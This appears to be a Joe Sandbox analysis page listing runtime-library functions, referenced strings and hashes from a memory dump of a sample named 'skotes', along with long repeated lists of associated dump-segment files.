Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: 59b3c30735672683f6715d38b04f409eaa8fcaa208a351006abdc953dccd2da3
Instruction ID: f64ea6ae255210e04560a384a77ab9fd647811c1a873b480c97dbb384be2e0e5
Opcode Fuzzy Hash: 59b3c30735672683f6715d38b04f409eaa8fcaa208a351006abdc953dccd2da3
Instruction Fuzzy Hash: F831A379E001068FCB55DFAAC441BAEB7B5EF05314B24406FE806E7350DB389E02C799

Function 004ECBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004ECC66

Strings

vN, xrefs: 004ECBE1

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vN
API String ID: 3213747228-204482171
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 029cfba34e8025a72eba673cbd6b9b1e12e2f5d5d1f723734f9409a643b43934
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 48B112329002C59FDB158F2AC8C1BBEBBA5EF45345F2441ABE855EB341D6399D03CB68

Function 004E1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 004E1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 004E1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 004E1C2A

Strings

pContext, xrefs: 004E1C22
switchState, xrefs: 004E1B5E

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 7e4c30c7a9fdf18efdd7774608b3b2691d35af9afdd56a3b4c2d1f08fec90c82
Instruction ID: a00867c5d89e00fcb90de1401b2c8398489684b697da080d1bbb996914d37a96
Opcode Fuzzy Hash: 7e4c30c7a9fdf18efdd7774608b3b2691d35af9afdd56a3b4c2d1f08fec90c82
Instruction Fuzzy Hash: 0E312835A402449FCF04EF66C885EAE7375FF44315F20456AE911DB3A2EB38ED01CA94

Function 004E4E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 004E4E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 004E4E86
PMDtoOffset.LIBCMT ref: 004E4EAC

Strings

Bad dynamic_cast!, xrefs: 004E4EEE

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: 5f0b706186bed2a5f6e58414ee0c3b8f31085b09e44c4a34b85279f1ea66f369
Instruction ID: 5a6b9e3b7613a715b150298c11294ffddd5e3c4c2489fc8cd49a26443be5dc07
Opcode Fuzzy Hash: 5f0b706186bed2a5f6e58414ee0c3b8f31085b09e44c4a34b85279f1ea66f369
Instruction Fuzzy Hash: F4210772A00244AFCF14DF6ADC46EAE77A8FBC4726B10412FF90097680E739E9008699

Function 004E727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 004E72BE

Strings

.exe, xrefs: 004E72CB
.bat, xrefs: 004E72ED
.com, xrefs: 004E72FE
.cmd, xrefs: 004E72DC

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 850ff47eda0b695880851ca8a374a0d5156d4b906eefdd9bd593aac5ec08ed94
Instruction ID: 963176d8486792318f4e6c8ec2986539935de88698ba596f76713ea3d05f0c73
Opcode Fuzzy Hash: 850ff47eda0b695880851ca8a374a0d5156d4b906eefdd9bd593aac5ec08ed94
Instruction Fuzzy Hash: 0E010827608696256624101B9E0277B27989BC1BBAF35012FFD54F73C1EF4CDC42A1E8

Function 004CFA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 004CFB06

Strings

GetThreadGroupAffinity, xrefs: 004CFA93
kernel32.dll, xrefs: 004CFA7A
SetThreadGroupAffinity, xrefs: 004CFA87
GetCurrentProcessorNumberEx, xrefs: 004CFABE

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: eb0b66bf0abf4c611eb7054eacf3117bd4f0710b6651b4915e72c78b2544f4e5
Instruction ID: f67ebc1c4fb682806a6b517a8f515b28e78f997a797f897f43ea728c07d7528b
Opcode Fuzzy Hash: eb0b66bf0abf4c611eb7054eacf3117bd4f0710b6651b4915e72c78b2544f4e5
Instruction Fuzzy Hash: 3601D6695507116EA611BBB75C43FAF2ADEDE41748B20043FA441E3382FAADE808616D

Function 004E2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

